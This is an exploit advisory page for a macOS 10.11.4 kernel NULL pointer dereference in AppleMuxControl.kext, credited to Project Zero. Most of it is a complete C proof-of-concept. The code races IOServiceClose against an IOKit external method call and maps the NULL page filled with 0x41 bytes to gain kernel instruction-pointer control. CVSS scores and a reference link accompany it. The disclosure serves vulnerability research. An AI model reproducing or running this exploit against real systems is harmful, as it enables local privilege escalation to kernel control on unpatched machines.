MacOSX 10.11.4 OOB Read of Object Pointer Due to Insufficient Checks

2016.06.11
Risk: High
Local: Yes
Remote: No
CWE: CWE-125


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=783 The method AppleGraphicsControlClient::checkArguments does actually appear to test whether the pointer at this+0xd8 is non-null, but uses it anyway :) We can race external methods which call this with another thread calling IOServiceClose to get a NULL pointer there. By mapping the NULL page in userspace this gives us trivial kernel RIP control as the code makes a virtual call on a NULL object pointer. tested on OS X 10.11.4 (15E65) MacBookPro 10,1 */ // ianbeer // clang -o mux_control_race mux_control_race.c -framework IOKit -m32 -lpthread -pagezero_size 0x0 /* OS X exploitable kernel NULL pointer dereference in AppleMuxControl.kext The method AppleGraphicsControlClient::checkArguments does actually appear to test whether the pointer at this+0xd8 is non-null, but uses it anyway :) We can race external methods which call this with another thread calling IOServiceClose to get a NULL pointer there. By mapping the NULL page in userspace this gives us trivial kernel RIP control as the code makes a virtual call on a NULL object pointer. tested on OS X 10.11.4 (15E65) MacBookPro 10,1 */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <IOKit/IOKitLib.h> #include <libkern/OSAtomic.h> #include <mach/thread_act.h> #include <pthread.h> #include <mach/mach.h> #include <mach/vm_map.h> #include <sys/mman.h> unsigned int selector = 0; uint64_t inputScalar[16]; size_t inputScalarCnt = 0; uint8_t inputStruct[40960]; size_t inputStructCnt = 0; uint64_t outputScalar[16] = {0}; uint32_t outputScalarCnt = 0; char outputStruct[40960] = {0}; size_t outputStructCnt = 0; io_connect_t global_conn = MACH_PORT_NULL; void set_params(io_connect_t conn){ global_conn = conn; selector = 9; // getAGCData inputScalarCnt = 0; inputStructCnt = 0; outputScalarCnt = 16; outputStructCnt = 4096; } void make_iokit_call(){ IOConnectCallMethod( global_conn, selector, inputScalar, inputScalarCnt, inputStruct, inputStructCnt, outputScalar, &outputScalarCnt, outputStruct, &outputStructCnt); } OSSpinLock lock = OS_SPINLOCK_INIT; void* thread_func(void* arg){ int got_it = 0; while (!got_it) { got_it = OSSpinLockTry(&lock); } // usleep(1); make_iokit_call(); OSSpinLockUnlock(&lock); return NULL; } mach_port_t get_user_client(char* name, int type) { kern_return_t err; CFMutableDictionaryRef matching = IOServiceMatching(name); if(!matching){ printf("unable to create service matching dictionary\n"); return 0; } io_iterator_t iterator; err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator); if (err != KERN_SUCCESS){ printf("no matches\n"); return 0; } io_service_t service = IOIteratorNext(iterator); if (service == IO_OBJECT_NULL){ printf("unable to find service\n"); return 0; } printf("got service: %x\n", service); io_connect_t conn = MACH_PORT_NULL; err = IOServiceOpen(service, mach_task_self(), type, &conn); if (err != KERN_SUCCESS){ printf("unable to get user client connection\n"); return 0; } printf("got userclient connection: %x\n", conn); return conn; } void poc() { OSSpinLockLock(&lock); pthread_t t; pthread_create(&t, NULL, thread_func, NULL); mach_port_t conn = get_user_client("AppleMuxControl", 0); set_params(conn); OSSpinLockUnlock(&lock); IOServiceClose(conn); pthread_join(t, NULL); } int main(int argc, char** argv){ kern_return_t err; // re map the null page rw int var = 0; err = vm_deallocate(mach_task_self(), 0x0, 0x1000); if (err != KERN_SUCCESS){ printf("%x\n", err); } vm_address_t addr = 0; err = vm_allocate(mach_task_self(), &addr, 0x1000, 0); if (err != KERN_SUCCESS){ if (err == KERN_INVALID_ADDRESS){ printf("invalid address\n"); } if (err == KERN_NO_SPACE){ printf("no space\n"); } printf("%x\n", err); } char* np = 0; for (int i = 0; i < 0x1000; i++){ np[i] = '\x41'; } for (;;) { poc(); } return 0; }

References:

https://bugs.chromium.org/p/project-zero/issues/detail?id=783


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